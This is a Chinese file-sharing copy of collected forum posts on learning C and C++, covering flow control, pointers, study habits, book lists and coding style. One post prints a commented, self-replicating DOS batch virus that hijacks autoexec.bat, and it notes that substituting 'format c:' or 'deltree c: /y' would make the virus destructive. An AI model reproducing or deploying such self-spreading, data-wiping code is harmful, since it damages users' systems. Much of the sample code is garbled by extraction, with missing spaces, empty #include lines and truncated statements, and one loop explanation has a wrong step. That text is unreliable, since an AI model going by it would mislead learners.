C语言我们究竟该学习什么.docx
《C语言我们究竟该学习什么.docx》由会员分享,可在线阅读,更多相关《C语言我们究竟该学习什么.docx(12页珍藏版)》请在冰点文库上搜索。
C语言我们究竟该学习什么
C语言,我们究竟该学习什么?
热662菜鸟2010-06-0720:
17
我以前在学习计算机这上面走了很多弯路和邪路,相信很多朋友都有同样的感受。
我第一个学习的语言是ASP,其实它也算不上们语言.大概是09一整年都在研究它,可是却还是糊里糊涂的,因为什么呢.最后我总结得出:
因为ASP杂乱无章,更没有C那样贴近现实.搞ASP还要会CSS,JS,html,要背的死东西太多了,当然.这些是我后来才知道,一开始以为这些都是ASP里面的东西,学也学不会,也没人正确的指导,最后头都大了,自己也是凭着记忆式的操作ACCESS数据库,做些小网站等等.
后来我学习了C语言,从它里面,我知道了什么才是程序开发.如果,你以后要从事IT这个行业,我想C语言是必学的一门语言..
好了,开场白介绍完了,来具体讲讲我这几个月学习C语言的总结吧.
一、流程控制:
不管是哪一门语言,这个都是必须要学会,据说流程控制中的:
顺序,循环,选择,能够解决世界上所有的问题.当然,只有通晓流程控制才能真正的解读程序!
1.顺序:
正常的语句执行,从上至下。
2.选择:
if 或 select..
3.循环:
for while..
在这里给大家出个程序,如果答对,那么流程控制也就基本过关了.
示例一:
#include
intmain()
{
inta=3;
if(a>0)a++;
a--;
printf("%d",a);
for(inti=0;i<3;i++)
a++;
printf("%d",a);
return0;
}
讲解一:
//第一个结果是3的话就答对了,因为一个if只能控制一条语句.如果想控制多条语句则用{}
//第二个是for循环,在他们中把inti=0看做1;i<3看做2; i++看做3;a++看做4
程序执行的顺序是:
1.现执行1(这个是只执行一次的) 2.执行2(进行判断) 3.如果2成立则执行4,不成立则推出循环 4.执行3
5.执行2(进行判断) 6.如果2成立则执行3,不成立则推出循环
当3执行完后,算一个循环执行.聪明的你应该知道答案了吧!
二、指针(这个可是C语言的灵魂)
指针就像一根针指向一个地方..在他里面有两个运算符:
* &
指针的用途可以说是很大的,在跨函数中使用内存是应用最广泛的。
因为引用函数中的变量和主函数中的变量不是同一变量,所以你要在引用函数中改变主函数的值,只有通过指针来改变。
示例二:
#include
voidf(int*a,int*b)
{
intc;
c=*a;
*a=*b;
*b=c;
};
intmain()
{
inta=2;
intb=3;
f(&a,&b);
printf("%d%d\n",a,b);
return0;
}
讲解二:
这个程序可以通过调用函数来实现两个数的交换,其中主函数的ab和f()函数中的ab是不相同的。
三、结构体
指针和结构体在以后的编程中会经常看到,在API中很多数据类型都是通过结构体自定义的.打个比方.假如一个班级要录入学生的信息.他们有:
出生年月日、姓名、性别、籍贯、住所...我们需要发给每个人一张表单.这每个表单就相当于一个结构体变量.我们可以自己定义结构体变量中有哪些变量.这样就方便了我们对信息的操作!
四、运算符
五、数据类型
六、算法
四和五,我觉得是死东西.只要记得就行了.前三个我认为是学C语言必须掌握的基础知识.而要会算法则要学习数据结构这门课!
PS:
如果以上所写有错误或者不足之处欢迎拍砖。
大家一起来谈论,C语言我们究竟该学习什么,什么才是重点,当然学习C语言也不仅是学C语言的,所谓一通百通,相信大家学会了C之后学习其他语言一定会逐步青云.
关于怎样学好c语言!
热6肖航2010-08-2202:
24
1.多敲代码. 多看代码. 这仅是最最基础的一点!
....... 这点略过.
2.了解数据内存,之前我只以为懂语法,懂点计算公式,多敲代码,多看代码就够了,就能学习好!
但是现在思维变了,很多书上都过这么个公式,算法+数据结构=程序.我们现在很多新手都忽略了这个!
现在我学c语言,更多的是观察数据在内存地址中的位置,以及值在地址里怎样显示,怎样的存放方式.
读懂了内存,再对语法一合计,就很容易理解,并且全面.
3.要学会调试,调试对于学习程序来说很重要,用过vc++6.0的人可以知道,通过调试,能知道程序进行到各语句
的时候,里面数据的值是否像自己所思考一步一步正确运算,还有数据地址的变化.
4.当然还有良好的代码规范.以及注意跨平台性.大家都知道国外很多优秀书籍上面的代码直接copy下来不用修改,
在很多编译器上就能直接用,而国内一些教学教材就没考虑到跨平台,很多代码直接不能用.举个例子,printf里面的转义
字符\r\n,\r表示回到行首,\n表示回车换行,windows定义\r\n都是回车换行,光标移到行首的意思,只要输\r\n其中一个就可以了.
其他系统定义就不一样,所以这时候我们\r\n两个一起输上,所有平台都是回车换行的意思了,就不会出错.
5.就是坚持学习.学习很困难,需要坚持!
希望大家能共同努力!
计算机病毒原理
热6冯诚20小时前
计算机病毒是指编制或者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码。
举一个“helloword”例子。
下面是一个简单的DOS批处理病毒源程序autoexec.bat(假设从A盘启动):
程序语句程序注解
IFexistc:
\\autoexec.bat goto VirusREM首先检查时机
GotoNo_VirusREM若时机不成熟则潜伏
:
VirusREM时机成熟时(子程序)
c:
REM转到C盘
renautoexec.batauto.batREM将正常文件改名,准备冒名顶替
copya:
\\autoexec.batc:
\\REM自我复制,开始繁殖
echoHelloWord!
REM病毒发作,表现症状
:
No_VirusREM正常程序入口
a:
REM转回A盘
/autoREM执行正常程序
pauseREM暂停等待按任意键继续
这个程序非常简单,但却包含了计算机病毒的典型结构,引导部分、传染部分、激发部分等五脏俱全。
其触发机制是:
C盘存在autoexec.bat文件,当我们用带有此病毒的启动软盘启动微机时,若C盘也有autoexec.bat文件,则病毒将C盘原autoexec.bat文件改名为auto.bat,把自身复制到C盘并显示“HelloWord!
”。
如果按以前的分类,它可以算是个良性病毒(但再良的病毒都要占用系统资源)。
当然它还无加密和没有严重破坏系统的行为,但要是把echoHelloWord!
改为formatc:
或deltreec:
/y等那就……
特此警告:
学习病毒原理只是为了认识病毒,以达到能够清除病毒之目的,若谁以此制造病毒遗害人间,败坏门风,必遭天谴!
!
!
!
!
!
!
学C++该看什么书
热67齐建邦2010-05-1614:
16
曾经有一个人写了这个东西,我觉得有些道理,就贴出来吧
C++/OPP/OOD系列:
层级一:
语法/语意(C++)
[Lippman2000]EssentialC++
EssentialC++,byStanleyB.LippmanAddisonWesleyLongman2000,276pages
EssentialC++中文版,侯俊杰译,282页
[Gregory95]C++:
TheCoreLanguage
C++:
TheCoreLanguagebyGregorySatir1995O'Reilly
C++语言核心,张铭泽 译,236页
[Deitel98]TheCompleteC++TrainingCourse
TheCompleteC++TrainingCourse2/ebyHarveyM.Deitel1998PrenticeHall
C++大学教程(第二版),邱仲潘等 译,816页
[Stevens2000]StandardC++Bible
StandardC++Bible 2000 AlStevens IDG
标准C++宝典,林丽闽等译,766页
[Eckel2000]ThinkinginC++
ThinkinginC++2/e BruceEckel 20001470pagesPrenticeHall
C++编程思想,刘宗田等译,420页
[Lippman98]C++Primer
C++Primer,3rdEditoin,byStanleyLippmanandJoseeLajoie
AddisonWesleyLongman,19981237pages
C++Primer中文版,侯俊杰译,1999,1237页
[Struostrup2000]TheC++ProgrammingLanguage
TheC++ProgrammingLanguage,SpecialEditoin,byBjarneStroustrup
AddisonWesleyLongman,2000,1017pages
C++程序语言经典本,叶秉哲译,儒林1999
[ANSIC++]C++规格书1998.9.1PDF格式
ANSIC++1996Draft
层级二:
专家经验(C++/OOP)
[Meyers96]MoreEffectiveC++
MoreEffectiveC++,byScottMeyers,AddisonWesley,1996,318pages
MoreEffectiveC++中文版,侯俊杰,培生2000.318页
[Meyers98]EffectiveC++
EffectiveC++,SecondEdition,byScottMeyers,AddisonWesleyLongman,1998.256pages
EffectiveC++2/e中文版,侯俊杰,培生2000.256页
[Sutter99]ExceptionalC++
ExceptionalC++,byHerbSutter,AddisonWesleyLongman,2000.208pages
ExceptionalC++中文版,侯俊杰,培生2000.248页
[Sutter2001]MoreExceptionalC++
MoreExceptionalC++byHerbSutter,AddisonWesleyLongman,2001.
层级三:
底层机制(C++ObjectModel)
[Ellis90]TheAnnotatedC++ReferenceManual
TheAnnotatedC++ReferenceManual,byMargaretA.EllisandBjarneStroustrup
AddisonWesleyLongman,1990,447pages.
[Lippman96]InsidetheC++ObjectModel
InsidetheC++ObjectModel,byStanleyLippman,AddisonWesleyLongman,1996,280pages
深度探索C++物件模型,侯俊杰译
层级四:
设计观念的复用(C++/Patterns)
[Gamma95]DesignPatterns:
ElementsofReusableObjectOrientedSoftware,
byErichGamma,RichardHelm,RalphJohnson,andJohnVlissides,AddisonWesley,1995.395pages
设计模式,李英军等译,机械工业出版社,2000.254页
[Alex2001]ModernC++Design:
GenericProgrammingandDesignPatternsApplied
byAndreiAlexandrescu,Addison-Wesley,2001,352Paper
Genericity/STL系列:
第一个境界是使用STL:
[Josuttis99]:
TheC++StandardLibrary-ATutorialandReference,byNicolaiM.Josuttis,
AddisonWesley1999.799pages
第二个境界是了解泛型技术的内涵与STL的学理:
[Austern98]:
GenericProgrammingandtheSTL-UsingandExtendingtheC++Standard
Templatelibrary,byMatthewH.Austern,AddisonWesley1998.548page
第三个境界是扩充STL:
[Stepanov2001]:
C++StandardTemplateLibrarybyP.J.Plauger,AlexanderA.Stepanov,
MengLee,DavidR.Musser,PrenticeHall2001
这些就是你应该看的书,如果你想成为高手。
值得学习的c++的编程风格
热9劳俊桦2010-08-1803:
29
1.代码缩进
Code:
1.#include
2.using namespace:
:
std;
3.int main()
4.{
5.
6. int i;
7. i=400;
8. cout<
9.}
IDE提供自动缩进,自己可以tab手动缩进,空格也可以。
注意不同系统tab的缩进长度可能会不同。
2.在注释块中,用*号标注每一行。
比如第五行,第六行和第七行的“*”。
Code:
10.#include
11.using namespace:
:
std;
12.
13./* 这是个main函数
14.*功能:
输出变量的值
15.*时间:
xxx
16.*作者:
xxx
17.*/
18.
19.int main()
20.{
21.
22. int i;
23. i=40000;
24. cout<
25.}
3.大括号的使用。
开始的{ 号不独自另起一行。
比如第九行和第十行的“{”。
Code:
26.#include
27.using namespace:
:
std;
28.int main()
29.{
30.
31. char i;
32. int amount=0;
33.
34. while(cin>>i){
35. if(amount%5){
36. cout<37. }
38. cout<
39. amount++;
40. }
41.}
当层次特别多的时候,这种风格的优势比较明显。
不占很多行代码,缩小代码的范围。
4.if语句的条件的写法。
1)一般写法是:
Code:
42.if(x==2)
43.
44.{}
但是这样容易导致写成
Code:
45.if(x=2)
46.
47.{}
2)有经验的程序员的写法:
Code:
48.if(2==x)
49.
50.{}
这样就不容易产生写漏等号的情况。
不小心写漏了,也很容易发现。
Code:
51.if(2=x)
52.
53.{}
因为不可能给一个常量赋值。
所以也就一眼就可以看出来了。
5.对vc的几个快捷操作。
因为编程时候,手都是在键盘上。
有时候用键盘操作比鼠标快捷。
1)调试出错时候,按F4会自动跳到错误的地方。
对比:
以前我是用鼠标点提示的错误才跳转。
2)改文件名的时候,先选中文件,再按F2可以直接改名
对比:
以前我是用鼠标右键改名,或者先选中文件,再用左键点文件名实现改名。
3)按End键,跳到本行结尾。
对比:
很久很久以前是用光标来实现,移动光标的速度是极其的慢。
4)按Home键,跳到本行开头。
对比:
同上。
5)移动光标,可以按住Ctrl并且结合←→这两个方向键一起用。
比单按←键移动光标的速度快。
对比:
只按←键和→键移动光标,那个速度,不敢恭维。
6)移动光标实现多选。
组合键是Ctrl+Shift+←或者Ctrl+Shift+→,和5)差不多。
第五条主要是移动光标,
第六条主要是用来选择文本。
对比:
按住鼠标左键、拖动鼠标可以对文本实现多选,但是感觉费力(我挺懒的~)。
7)其他快捷,欢迎提出。
知识共享,一起成长,我是新手,多多包含。
欢迎大家一起讨论c++的编程风格。